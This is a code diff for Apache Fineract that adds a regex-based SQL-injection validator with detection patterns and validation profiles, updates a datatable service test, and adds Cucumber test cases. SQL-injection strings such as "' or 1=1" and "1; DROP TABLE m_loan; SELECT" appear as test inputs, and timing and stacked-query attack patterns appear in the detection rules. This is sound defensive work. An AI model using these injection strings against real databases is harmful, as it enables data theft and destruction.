+++ b/fineract-provider/src/main/resources/application.properties
@@ -179,6 +179,101 @@
fineract.insecure-http-client=${FINERACT_INSECURE_HTTP_CLIENT:true}
+# sql validation
+
+# inject-blind
+fineract.sql-validation.patterns[0].name=inject-blind
+fineract.sql-validation.patterns[0].pattern=(?i).*[\\"'`]?\\s*[and|or]+\\s*[\\"'`]?([\\d\\w])+[\\"'`]?\\s*=\\s*[\\"'`]?(\\1)[\\"'`]?\\s*.*
+
+# detect-entry-point
+fineract.sql-validation.patterns[1].name=detect-entry-point
+fineract.sql-validation.patterns[1].pattern=(?i)^[\\"'`]?[\\)\\s]+
+
+# inject-timing
+fineract.sql-validation.patterns[2].name=inject-timing
+fineract.sql-validation.patterns[2].pattern=(?i).*[\\"'`]?\\s*[and|\\+|&|\\|]+.*\\s*[sleep|pg_sleep|benchmark]+\\s*(\\(\\s*\\d+\\s*[,]?\\s*.*\\s*\\))+.*
+
+# detect-backend
+fineract.sql-validation.patterns[3].name=detect-backend
+fineract.sql-validation.patterns[3].pattern=(?i).*\\[\\s*\\"(\\w+\\(.*\\))=(\\1)\\"\\s*,\\s*\\"\\w+\\"\\s*\\].*
+
+# detect-column
+fineract.sql-validation.patterns[4].name=detect-column
+fineract.sql-validation.patterns[4].pattern=(?i).*[\\"'`]?\\s*(order\\s*by|group\\s*by|union\\s*select)+\\s+([\\d+|null]?\\s*,*\\s*)+\\s*.*
+
+# detect-out-of-bands
+fineract.sql-validation.patterns[5].name=detect-out-of-bands
+fineract.sql-validation.patterns[5].pattern=(?i).*(select)+\\s+(load_file)+.*
+
+# inject-stacked-query
+fineract.sql-validation.patterns[6].name=inject-stacked-query
+fineract.sql-validation.patterns[6].pattern=(?i).*[;]+\\s*(create|drop|alter|truncate|comment|select|insert|update|delete|merge|upsert|call|exec)+.*(from|into|set|table|column|database)*.*
+
+# inject-comment
+fineract.sql-validation.patterns[7].name=inject-comment
+fineract.sql-validation.patterns[7].pattern=(?i).*\\s+(-|/\\*|#|\\(\\{)++.*
+
+# main
+fineract.sql-validation.profiles[0].name=main
+fineract.sql-validation.profiles[0].description=Main Query Validation Profile
+fineract.sql-validation.profiles[0].patternRefs[0].name=inject-blind
+fineract.sql-validation.profiles[0].patternRefs[0].order=0
+fineract.sql-validation.profiles[0].patternRefs[1].name=detect-entry-point
+fineract.sql-validation.profiles[0].patternRefs[1].order=1
+fineract.sql-validation.profiles[0].patternRefs[2].name=inject-timing
+fineract.sql-validation.profiles[0].patternRefs[2].order=2
+fineract.sql-validation.profiles[0].patternRefs[3].name=detect-backend
+fineract.sql-validation.profiles[0].patternRefs[3].order=3
+fineract.sql-validation.profiles[0].patternRefs[4].name=detect-column
+fineract.sql-validation.profiles[0].patternRefs[4].order=4
+fineract.sql-validation.profiles[0].patternRefs[5].name=detect-out-of-bands
+fineract.sql-validation.profiles[0].patternRefs[5].order=5
+fineract.sql-validation.profiles[0].patternRefs[6].name=inject-stacked-query
+fineract.sql-validation.profiles[0].patternRefs[6].order=6
+fineract.sql-validation.profiles[0].patternRefs[7].name=inject-comment
+fineract.sql-validation.profiles[0].patternRefs[7].order=7
+fineract.sql-validation.profiles[0].enabled=true
+
+# adhoc
+fineract.sql-validation.profiles[1].name=adhoc
+fineract.sql-validation.profiles[1].description=Adhoc Query Validation Profile
+fineract.sql-validation.profiles[1].patternRefs[0].name=inject-blind
+fineract.sql-validation.profiles[1].patternRefs[0].order=0
+fineract.sql-validation.profiles[1].patternRefs[1].name=detect-entry-point
+fineract.sql-validation.profiles[1].patternRefs[1].order=1
+fineract.sql-validation.profiles[1].patternRefs[2].name=inject-timing
+fineract.sql-validation.profiles[1].patternRefs[2].order=2
+fineract.sql-validation.profiles[1].patternRefs[3].name=detect-backend
+fineract.sql-validation.profiles[1].patternRefs[3].order=3
+fineract.sql-validation.profiles[1].patternRefs[4].name=detect-column
+fineract.sql-validation.profiles[1].patternRefs[4].order=4
+fineract.sql-validation.profiles[1].patternRefs[5].name=detect-out-of-bands
+fineract.sql-validation.profiles[1].patternRefs[5].order=5
+fineract.sql-validation.profiles[1].patternRefs[6].name=inject-stacked-query
+fineract.sql-validation.profiles[1].patternRefs[6].order=6
+fineract.sql-validation.profiles[1].patternRefs[7].name=inject-comment
+fineract.sql-validation.profiles[1].patternRefs[7].order=7
+fineract.sql-validation.profiles[1].enabled=true
+
+# dynamic
+fineract.sql-validation.profiles[2].name=column
+fineract.sql-validation.profiles[2].description=Column Validation Profile
+fineract.sql-validation.profiles[2].patternRefs[0].name=inject-blind
+fineract.sql-validation.profiles[2].patternRefs[0].order=0
+fineract.sql-validation.profiles[2].patternRefs[1].name=detect-entry-point
+fineract.sql-validation.profiles[2].patternRefs[1].order=1
+fineract.sql-validation.profiles[2].patternRefs[2].name=inject-timing
+fineract.sql-validation.profiles[2].patternRefs[2].order=2
+fineract.sql-validation.profiles[2].patternRefs[3].name=detect-backend
+fineract.sql-validation.profiles[2].patternRefs[3].order=3
+fineract.sql-validation.profiles[2].patternRefs[4].name=detect-out-of-bands
+fineract.sql-validation.profiles[2].patternRefs[4].order=4
+fineract.sql-validation.profiles[2].patternRefs[5].name=inject-stacked-query
+fineract.sql-validation.profiles[2].patternRefs[5].order=5
+fineract.sql-validation.profiles[2].patternRefs[6].name=inject-comment
+fineract.sql-validation.profiles[2].patternRefs[6].order=6
+fineract.sql-validation.profiles[2].enabled=true
+
# Logging pattern for the console
logging.pattern.console=${CONSOLE_LOG_PATTERN:%clr(%d{yyyy-MM-dd HH:mm:ss.SSS}){faint} %clr(${LOG_LEVEL_PATTERN:-%5p}) %clr(${PID:- }){magenta} %clr(%replace([%X{correlationId}]){'\\[\\]', ''}) %clr(---){faint} %clr([%15.15t]){faint} %clr(%-40.40logger{39}){cyan} %clr(:){faint} %m%n${LOG_EXCEPTION_CONVERSION_WORD:%wEx}}
logging.pattern.level=%5p [${spring.application.name:},%X{traceId:-},%X{spanId:-}]
diff --git a/fineract-provider/src/test/java/org/apache/fineract/TestConfiguration.java b/fineract-provider/src/test/java/org/apache/fineract/TestConfiguration.java
index 68330dd..8d48035 100644
--- a/fineract-provider/src/test/java/org/apache/fineract/TestConfiguration.java
+++ b/fineract-provider/src/test/java/org/apache/fineract/TestConfiguration.java
@@ -38,6 +38,7 @@
import org.apache.fineract.infrastructure.core.service.migration.TenantDatabaseStateVerifier;
import org.apache.fineract.infrastructure.core.service.migration.TenantDatabaseUpgradeService;
import org.apache.fineract.infrastructure.core.service.tenant.TenantDetailsService;
+import org.apache.fineract.infrastructure.dataqueries.service.GenericDataService;
import org.apache.fineract.infrastructure.jobs.ScheduledJobRunnerConfig;
import org.apache.fineract.infrastructure.jobs.service.JobRegisterService;
import org.junit.jupiter.api.extension.ExtendWith;
@@ -45,7 +46,7 @@
import org.mockito.junit.jupiter.MockitoExtension;
import org.mockito.junit.jupiter.MockitoSettings;
import org.mockito.quality.Strictness;
-import org.springframework.batch.core.configuration.ListableJobLocator;
+import org.springframework.batch.core.configuration.JobRegistry;
import org.springframework.batch.core.explore.JobExplorer;
import org.springframework.batch.core.launch.JobLauncher;
import org.springframework.batch.core.launch.JobOperator;
@@ -101,18 +102,6 @@
@Primary
@Bean
- public JobExplorer jobExplorer() {
- return mock(JobExplorer.class, RETURNS_MOCKS);
- }
-
- @Primary
- @Bean
- public JobLauncher jobLauncher() {
- return mock(JobLauncher.class, RETURNS_MOCKS);
- }
-
- @Primary
- @Bean
public HikariDataSource tenantDataSource() {
HikariDataSource mockDataSource = mock(HikariDataSource.class, Mockito.RETURNS_MOCKS);
return mockDataSource;
@@ -189,8 +178,20 @@
@Primary
@Bean
- public ListableJobLocator listableJobLocator() {
- return mock(ListableJobLocator.class, RETURNS_MOCKS);
+ public JobExplorer jobExplorer() {
+ return mock(JobExplorer.class, RETURNS_MOCKS);
+ }
+
+ @Primary
+ @Bean
+ public JobLauncher jobLauncher() {
+ return mock(JobLauncher.class, RETURNS_MOCKS);
+ }
+
+ @Primary
+ @Bean
+ public JobRegistry jobRegistry() {
+ return mock(JobRegistry.class, RETURNS_MOCKS);
}
@Primary
@@ -210,4 +211,10 @@
public OkHttpClient okHttpClient() {
return mock(OkHttpClient.class, RETURNS_MOCKS);
}
+
+ @Primary
+ @Bean
+ public GenericDataService genericDataService() {
+ return mock(GenericDataService.class, RETURNS_MOCKS);
+ }
}
diff --git a/fineract-provider/src/test/java/org/apache/fineract/infrastructure/dataqueries/service/ReadWriteNonCoreDataServiceImplTest.java b/fineract-provider/src/test/java/org/apache/fineract/infrastructure/dataqueries/service/ReadWriteNonCoreDataServiceImplTest.java
index b8bd947..018626b 100644
--- a/fineract-provider/src/test/java/org/apache/fineract/infrastructure/dataqueries/service/ReadWriteNonCoreDataServiceImplTest.java
+++ b/fineract-provider/src/test/java/org/apache/fineract/infrastructure/dataqueries/service/ReadWriteNonCoreDataServiceImplTest.java
@@ -32,31 +32,34 @@
import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
import java.util.List;
import java.util.stream.Stream;
+import org.apache.fineract.TestConfiguration;
import org.apache.fineract.infrastructure.core.exception.PlatformApiDataValidationException;
import org.apache.fineract.infrastructure.core.service.database.DatabaseSpecificSQLGenerator;
import org.apache.fineract.infrastructure.core.service.database.DatabaseType;
import org.apache.fineract.infrastructure.core.service.database.DatabaseTypeResolver;
import org.apache.fineract.infrastructure.dataqueries.data.ResultsetColumnHeaderData;
import org.apache.fineract.infrastructure.dataqueries.exception.DatatableNotFoundException;
-import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
-import org.mockito.InjectMocks;
import org.mockito.Mock;
import org.mockito.Mockito;
-import org.mockito.MockitoAnnotations;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.jdbc.support.rowset.SqlRowSet;
+import org.springframework.test.context.ContextConfiguration;
+@SpringBootTest
+@ContextConfiguration(classes = TestConfiguration.class)
@SuppressFBWarnings(value = "RV_EXCEPTION_NOT_THROWN", justification = "False positive")
public class ReadWriteNonCoreDataServiceImplTest {
- @Mock
+ @Autowired
private JdbcTemplate jdbcTemplate;
- @Mock
+ @Autowired
private GenericDataService genericDataService;
@Mock
@@ -65,17 +68,13 @@
@Mock
private DatabaseSpecificSQLGenerator sqlGenerator;
- @InjectMocks
- private ReadWriteNonCoreDataServiceImpl underTest;
-
- @BeforeEach
- public void setup() {
- MockitoAnnotations.openMocks(this);
- }
+ @Autowired
+ private ReadWriteNonCoreDataService underTest;
@Test
public void testSqlInjectionCaughtQueryDataTable() {
- mockDatatableValidation();
+ when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class), anyString())).thenReturn(1);
+
assertThrows(PlatformApiDataValidationException.class, () -> {
underTest.queryDataTable("table", "cf1", "vf1", "' or 1=1");
});
@@ -83,7 +82,8 @@
@Test
public void testSqlInjectionCaughtQueryDataTable2() {
- mockDatatableValidation();
+ when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class), anyString())).thenReturn(1);
+
assertThrows(PlatformApiDataValidationException.class, () -> {
underTest.queryDataTable("table", "cf1", "vf1", "1; DROP TABLE m_loan; SELECT");
});
@@ -91,8 +91,9 @@
@Test
public void testQueryDataTableSuccess() {
- mockDatatableValidation();
SqlRowSet sqlRS = Mockito.mock(SqlRowSet.class);
+
+ when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class), anyString())).thenReturn(1);
when(jdbcTemplate.queryForRowSet(eq("SELECT \"rc1\", \"rc2\" FROM \"table\" WHERE \"cf1\" = ?"), any(Object.class)))
.thenReturn(sqlRS);
when(sqlRS.next()).thenReturn(true).thenReturn(false);
@@ -111,6 +112,7 @@
false, dialect);
ResultsetColumnHeaderData rc2 = ResultsetColumnHeaderData.detailed("rc2", "text", 10L, false, false, emptyList(), null, false,
false, dialect);
+
when(genericDataService.fillResultsetColumnHeaders("table")).thenReturn(List.of(cf1, rc1, rc2));
List<JsonObject> results = underTest.queryDataTable("table", "cf1", "vf1", "rc1,rc2");
@@ -121,8 +123,9 @@
@Test
public void testQueryDataTableValidationError() {
- mockDatatableValidation();
+ when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class), anyString())).thenReturn(1);
when(genericDataService.fillResultsetColumnHeaders("table")).thenReturn(emptyList());
+
assertThrows(PlatformApiDataValidationException.class, () -> underTest.queryDataTable("table", "cf1", "vf1", "rc1,rc2"));
}
@@ -136,8 +139,9 @@
@ParameterizedTest
@MethodSource("provideParameters")
public void testQueryDataTableInvalidParameterError(String columnType, String errorMessage) {
- mockDatatableValidation();
+ when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class), anyString())).thenReturn(1);
when(databaseTypeResolver.databaseType()).thenReturn(DatabaseType.POSTGRESQL);
+
DatabaseType dialect = databaseTypeResolver.databaseType();
ResultsetColumnHeaderData cf1 = ResultsetColumnHeaderData.detailed("cf1", columnType, 10L, false, false, emptyList(), null, false,
false, dialect);
@@ -154,10 +158,6 @@
assertEquals(errorMessage, thrown.getErrors().get(0).getUserMessageGlobalisationCode());
}
- private void mockDatatableValidation() {
- when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class), anyString())).thenReturn(1);
- }
-
private static Stream<Arguments> provideParameters() {
return Stream.of(Arguments.of("timestamp without time zone", "validation.msg.invalid.dateFormat.format"),
Arguments.of("INTEGER", "validation.msg.invalid.integer.format"),
diff --git a/fineract-provider/src/test/java/org/apache/fineract/infrastructure/security/utils/SQLInjectionValidatorTest.java b/fineract-provider/src/test/java/org/apache/fineract/infrastructure/security/utils/SQLInjectionValidatorTest.java
deleted file mode 100644
index cda6583..0000000
--- a/fineract-provider/src/test/java/org/apache/fineract/infrastructure/security/utils/SQLInjectionValidatorTest.java
+++ /dev/null
@@ -1,149 +0,0 @@
-/**
- * Licensed to the Apache Software Foundation (ASF) under one
- * or more contributor license agreements. See the NOTICE file
- * distributed with this work for additional information
- * regarding copyright ownership. The ASF licenses this file
- * to you under the Apache License, Version 2.0 (the
- * "License"); you may not use this file except in compliance
- * with the License. You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing,
- * software distributed under the License is distributed on an
- * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
- * KIND, either express or implied. See the License for the
- * specific language governing permissions and limitations
- * under the License.
- */
-package org.apache.fineract.infrastructure.security.utils;
-
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.Arrays;
-import org.junit.jupiter.api.Assertions;
-import org.junit.jupiter.api.Test;
-
-@SuppressFBWarnings(value = "RV_EXCEPTION_NOT_THROWN", justification = "False positive")
-public class SQLInjectionValidatorTest {
-
- private static final String[] DDL_COMMANDS = { "create", "drop", "alter", "truncate", "comment", "sleep" };
- private static final String[] DML_COMMANDS = { "select", "insert", "update", "delete", "merge", "upsert", "call" };
- private static final String[] COMMENTS = { "--", "({", "/*", "#" };
-
- @Test
- public void testValidateSqlInputQuote() {
- Assertions.assertThrows(SQLInjectionException.class, () -> {
- SQLInjectionValidator.validateSQLInput("' or 1=1");
- });
- }
-
- @Test
- public void testValidateSqlInputSemicolon() {
- Assertions.assertThrows(SQLInjectionException.class, () -> {
- SQLInjectionValidator.validateSQLInput("; drop table foo;");
- });
- }
-
- @Test
- public void testValidateAdhocQueryQuote() {
- Assertions.assertThrows(SQLInjectionException.class, () -> {
- SQLInjectionValidator.validateAdhocQuery("' or 1=1");
- });
- }
-
- @Test
- public void testValidateAdhocQuerySemicolon() {
- Assertions.assertThrows(SQLInjectionException.class, () -> {
- SQLInjectionValidator.validateAdhocQuery("; drop table foo;");
- });
- }
-
- @Test
- public void testValidateDynamicQueryQuote() {
- Assertions.assertThrows(SQLInjectionException.class, () -> {
- SQLInjectionValidator.validateDynamicQuery("' or 1=1");
- });
- }
-
- @Test
- public void testValidateDynamicQuerySemicolon() {
- Assertions.assertThrows(SQLInjectionException.class, () -> {
- SQLInjectionValidator.validateDynamicQuery("; drop table foo;");
- });
- }
-
- @Test
- public void testValidateSqlLInputReservedWords() {
- Arrays.asList(DDL_COMMANDS).forEach(ddl -> {
- Assertions.assertThrows(SQLInjectionException.class, () -> {
- SQLInjectionValidator.validateSQLInput(ddl);
- });
- });
-
- Arrays.asList(DML_COMMANDS).forEach(dml -> {
- Assertions.assertThrows(SQLInjectionException.class, () -> {
- SQLInjectionValidator.validateSQLInput(dml);
- });
- });
-
- Arrays.asList(COMMENTS).forEach(comment -> {
- Assertions.assertThrows(SQLInjectionException.class, () -> {
- SQLInjectionValidator.validateSQLInput(comment);
- });
- });
- }
-
- @Test
- public void testValidateAdhocQueryReservedWords() {
- Arrays.asList(DDL_COMMANDS).forEach(ddl -> {
- Assertions.assertThrows(SQLInjectionException.class, () -> {
- SQLInjectionValidator.validateAdhocQuery(ddl);
- });
- });
-
- // left out intentionally from adhocquery validation?
- // Arrays.asList(DML_COMMANDS).forEach(dml -> {
- // Assertions.assertThrows(SQLInjectionException.class, () -> {
- // SQLInjectionValidator.validateAdhocQuery(dml);
- // });
- // });
-
- Arrays.asList(COMMENTS).forEach(comment -> {
- Assertions.assertThrows(SQLInjectionException.class, () -> {
- SQLInjectionValidator.validateAdhocQuery(comment);
- });
- });
- }
-
- @Test
- public void testValidateDynamicQueryReservedWords() {
- Arrays.asList(DDL_COMMANDS).forEach(ddl -> {
- Assertions.assertThrows(SQLInjectionException.class, () -> {
- SQLInjectionValidator.validateDynamicQuery(ddl);
- });
- });
-
- Arrays.asList(DML_COMMANDS).forEach(dml -> {
- Assertions.assertThrows(SQLInjectionException.class, () -> {
- SQLInjectionValidator.validateDynamicQuery(dml);
- });
- });
-
- Arrays.asList(COMMENTS).forEach(comment -> {
- Assertions.assertThrows(SQLInjectionException.class, () -> {
- SQLInjectionValidator.validateDynamicQuery(comment);
- });
- });
- }
-
- @Test
- public void testValidateDynamicQueryColon() {
- SQLInjectionValidator.validateDynamicQuery("2022-10-13 18:40:21");
- }
-
- @Test
- public void testValidateDynamicQueryReservedWordsInsideValue() {
- Arrays.asList(DDL_COMMANDS).forEach(ddl -> SQLInjectionValidator.validateDynamicQuery("foo" + ddl));
- Arrays.asList(DML_COMMANDS).forEach(dml -> SQLInjectionValidator.validateDynamicQuery("foo" + dml));
- }
-}
diff --git a/fineract-provider/src/test/java/org/apache/fineract/infrastructure/security/utils/SqlValidatorStepDefinitions.java b/fineract-provider/src/test/java/org/apache/fineract/infrastructure/security/utils/SqlValidatorStepDefinitions.java
new file mode 100644
index 0000000..fb0bcf2
--- /dev/null
+++ b/fineract-provider/src/test/java/org/apache/fineract/infrastructure/security/utils/SqlValidatorStepDefinitions.java
@@ -0,0 +1,74 @@
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+package org.apache.fineract.infrastructure.security.utils;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+import io.cucumber.java8.En;
+import org.apache.commons.lang3.RandomStringUtils;
+import org.apache.commons.lang3.StringUtils;
+import org.apache.fineract.infrastructure.security.exception.SqlValidationException;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.function.Executable;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.beans.factory.annotation.Autowired;
+
+public class SqlValidatorStepDefinitions implements En {
+
+ private static final Logger log = LoggerFactory.getLogger(SqlValidatorStepDefinitions.class);
+
+ @Autowired
+ private SqlValidator sqlValidator;
+
+ private Executable executable;
+ private String statement;
+ private Integer fuzzy = 0;
+
+ public SqlValidatorStepDefinitions() {
+ Given("/^A partial SQL statement (.*) with whitespaces fuzzy degree (\\d*)$/", (String statement, Integer fuzzy) -> {
+ this.statement = statement;
+ if (fuzzy != null) {
+ this.fuzzy = fuzzy;
+ }
+ });
+
+ When("Validating the partial statement", () -> {
+ if (fuzzy != null && fuzzy > 0) {
+ String whitespaces = RandomStringUtils.random(fuzzy, '\n', '\r', '\t', ' ');
+ statement = statement.replaceAll(" ", whitespaces);
+ }
+
+ executable = () -> sqlValidator.validate(statement);
+ });
+
+ Then("/^The validator had exception message (.*)$/", (String expectedMessage) -> {
+ if (StringUtils.isBlank(expectedMessage)) {
+ Assertions.assertDoesNotThrow(executable);
+ } else {
+ var exception = Assertions.assertThrows(SqlValidationException.class, executable);
+
+ assertEquals(expectedMessage, exception.getMessage());
+
+ // log.info("Validator message: {}", exception.getMessage());
+ }
+ });
+ }
+}
diff --git a/fineract-provider/src/test/resources/application-test.properties b/fineract-provider/src/test/resources/application-test.properties
index 416ffc1..fe02f28 100644
--- a/fineract-provider/src/test/resources/application-test.properties
+++ b/fineract-provider/src/test/resources/application-test.properties
@@ -99,6 +99,103 @@
fineract.module.investor.enabled=true
+# sql validation
+
+# inject-blind
+fineract.sql-validation.patterns[0].name=inject-blind
+fineract.sql-validation.patterns[0].pattern=(?i).*[\\"'`]?\\s*[and|or]+\\s*[\\"'`]?([\\d\\w])+[\\"'`]?\\s*=\\s*[\\"'`]?(\\1)[\\"'`]?\\s*.*
+
+# detect-entry-point
+fineract.sql-validation.patterns[1].name=detect-entry-point
+fineract.sql-validation.patterns[1].pattern=(?i)^[\\"'`]?[\\)\\s]+
+
+# inject-timing
+fineract.sql-validation.patterns[2].name=inject-timing
+fineract.sql-validation.patterns[2].pattern=(?i).*[\\"'`]?\\s*[and|\\+|&|\\|]+.*\\s*[sleep|pg_sleep|benchmark]+\\s*(\\(\\s*\\d+\\s*[,]?\\s*.*\\s*\\))+.*
+
+# detect-backend
+fineract.sql-validation.patterns[3].name=detect-backend
+fineract.sql-validation.patterns[3].pattern=(?i).*\\[\\s*\\"(\\w+\\(.*\\))=(\\1)\\"\\s*,\\s*\\"\\w+\\"\\s*\\].*
+
+# detect-column
+fineract.sql-validation.patterns[4].name=detect-column
+fineract.sql-validation.patterns[4].pattern=(?i).*[\\"'`]?\\s*(order\\s*by|group\\s*by|union\\s*select)+\\s+([\\d+|null]?\\s*,*\\s*)+\\s*.*
+
+# detect-out-of-bands
+fineract.sql-validation.patterns[5].name=detect-out-of-bands
+fineract.sql-validation.patterns[5].pattern=(?i).*(select)+\\s+(load_file)+.*
+
+# inject-stacked-query
+fineract.sql-validation.patterns[6].name=inject-stacked-query
+fineract.sql-validation.patterns[6].pattern=(?i).*[;]+\\s*(create|drop|alter|truncate|comment|select|insert|update|delete|merge|upsert|call|exec)+.*(from|into|set|table|column|database)*.*
+
+# inject-comment
+fineract.sql-validation.patterns[7].name=inject-comment
+fineract.sql-validation.patterns[7].pattern=(?i).*\\s+(-|/\\*|#|\\(\\{)++.*
+
+# main
+fineract.sql-validation.profiles[0].name=main
+fineract.sql-validation.profiles[0].description=Main Query Validation Profile
+fineract.sql-validation.profiles[0].patternRefs[0].name=inject-blind
+fineract.sql-validation.profiles[0].patternRefs[0].order=0
+fineract.sql-validation.profiles[0].patternRefs[1].name=detect-entry-point
+fineract.sql-validation.profiles[0].patternRefs[1].order=1
+fineract.sql-validation.profiles[0].patternRefs[2].name=inject-timing
+fineract.sql-validation.profiles[0].patternRefs[2].order=2
+fineract.sql-validation.profiles[0].patternRefs[3].name=detect-backend
+fineract.sql-validation.profiles[0].patternRefs[3].order=3
+fineract.sql-validation.profiles[0].patternRefs[4].name=detect-column
+fineract.sql-validation.profiles[0].patternRefs[4].order=4
+fineract.sql-validation.profiles[0].patternRefs[5].name=detect-out-of-bands
+fineract.sql-validation.profiles[0].patternRefs[5].order=5
+fineract.sql-validation.profiles[0].patternRefs[6].name=inject-stacked-query
+fineract.sql-validation.profiles[0].patternRefs[6].order=6
+fineract.sql-validation.profiles[0].patternRefs[7].name=inject-comment
+fineract.sql-validation.profiles[0].patternRefs[7].order=7
+fineract.sql-validation.profiles[0].enabled=true
+
+# adhoc
+fineract.sql-validation.profiles[1].name=adhoc
+fineract.sql-validation.profiles[1].description=Adhoc Query Validation Profile
+fineract.sql-validation.profiles[1].patternRefs[0].name=inject-blind
+fineract.sql-validation.profiles[1].patternRefs[0].order=0
+fineract.sql-validation.profiles[1].patternRefs[1].name=detect-entry-point
+fineract.sql-validation.profiles[1].patternRefs[1].order=1
+fineract.sql-validation.profiles[1].patternRefs[2].name=inject-timing
+fineract.sql-validation.profiles[1].patternRefs[2].order=2
+fineract.sql-validation.profiles[1].patternRefs[3].name=detect-backend
+fineract.sql-validation.profiles[1].patternRefs[3].order=3
+fineract.sql-validation.profiles[1].patternRefs[4].name=detect-column
+fineract.sql-validation.profiles[1].patternRefs[4].order=4
+fineract.sql-validation.profiles[1].patternRefs[5].name=detect-out-of-bands
+fineract.sql-validation.profiles[1].patternRefs[5].order=5
+fineract.sql-validation.profiles[1].patternRefs[6].name=inject-stacked-query
+fineract.sql-validation.profiles[1].patternRefs[6].order=6
+fineract.sql-validation.profiles[1].patternRefs[7].name=inject-comment
+fineract.sql-validation.profiles[1].patternRefs[7].order=7
+fineract.sql-validation.profiles[1].enabled=true
+
+# dynamic
+fineract.sql-validation.profiles[2].name=dynamic
+fineract.sql-validation.profiles[2].description=Dynamic Query Validation Profile
+fineract.sql-validation.profiles[2].patternRefs[0].name=inject-blind
+fineract.sql-validation.profiles[2].patternRefs[0].order=0
+fineract.sql-validation.profiles[2].patternRefs[1].name=detect-entry-point
+fineract.sql-validation.profiles[2].patternRefs[1].order=1
+fineract.sql-validation.profiles[2].patternRefs[2].name=inject-timing
+fineract.sql-validation.profiles[2].patternRefs[2].order=2
+fineract.sql-validation.profiles[2].patternRefs[3].name=detect-backend
+fineract.sql-validation.profiles[2].patternRefs[3].order=3
+fineract.sql-validation.profiles[2].patternRefs[4].name=detect-column
+fineract.sql-validation.profiles[2].patternRefs[4].order=4
+fineract.sql-validation.profiles[2].patternRefs[5].name=detect-out-of-bands
+fineract.sql-validation.profiles[2].patternRefs[5].order=5
+fineract.sql-validation.profiles[2].patternRefs[6].name=inject-stacked-query
+fineract.sql-validation.profiles[2].patternRefs[6].order=6
+fineract.sql-validation.profiles[2].patternRefs[7].name=inject-comment
+fineract.sql-validation.profiles[2].patternRefs[7].order=7
+fineract.sql-validation.profiles[2].enabled=true
+
management.health.jms.enabled=false
# FINERACT 1296
diff --git a/fineract-provider/src/test/resources/features/infrastructure/infrastructure.security.utils.sqlvalidator.feature b/fineract-provider/src/test/resources/features/infrastructure/infrastructure.security.utils.sqlvalidator.feature
new file mode 100644
index 0000000..8ac1d16
--- /dev/null
+++ b/fineract-provider/src/test/resources/features/infrastructure/infrastructure.security.utils.sqlvalidator.feature
@@ -0,0 +1,108 @@
+#
+# Licensed to the Apache Software Foundation (ASF) under one
+# or more contributor license agreements. See the NOTICE file
+# distributed with this work for additional information
+# regarding copyright ownership. The ASF licenses this file
+# to you under the Apache License, Version 2.0 (the
+# "License"); you may not use this file except in compliance
+# with the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing,
+# software distributed under the License is distributed on an
+# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+# KIND, either express or implied. See the License for the
+# specific language governing permissions and limitations
+# under the License.
+#
+
+Feature: Security Utils SQL validator
+
+ @security
+ Scenario Outline: Verify that detects all configured SQL injection patterns
+ Given A partial SQL statement <statement> with whitespaces fuzzy degree <fuzzy>
+ When Validating the partial statement
+ Then The validator had exception message <exception>
+
+ Examples:
+ | statement | fuzzy | exception |
+ | or 'a' = 'a' | 36 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
+ | ' or 'a' = 'a' | 12 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
+ | or 'a' = 'a' -- | 27 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
+ | or 'a' = 'a' /* | 17 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
+ | abc' Or 'a' = 'a' /* | 19 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
+ | OR 1 = 1 | 36 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
+ | ' or 1 = 1 | 17 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
+ | or 1 = 1 ----- | 57 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
+ | or 1 = 1 /* | 11 | SQL validation error: invalid SQL statement (detected 'inject-blind' pattern) |
+ | 123 | 0 | |
+ | 2.59 | 0 | |
+ | abc123xyz | 0 | |
+ | true | 0 | |
+ | [2024, 4, 21] | 7 | |
+ | ["abc", "def", "ghi", "jkl", "mno"] | 7 | |
+ | ') | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
+ | ')) | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
+ | '))) | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
+ | `) | 0 | SQL validation error: invalid SQL statement (detected 'detect-entry-point' pattern) |
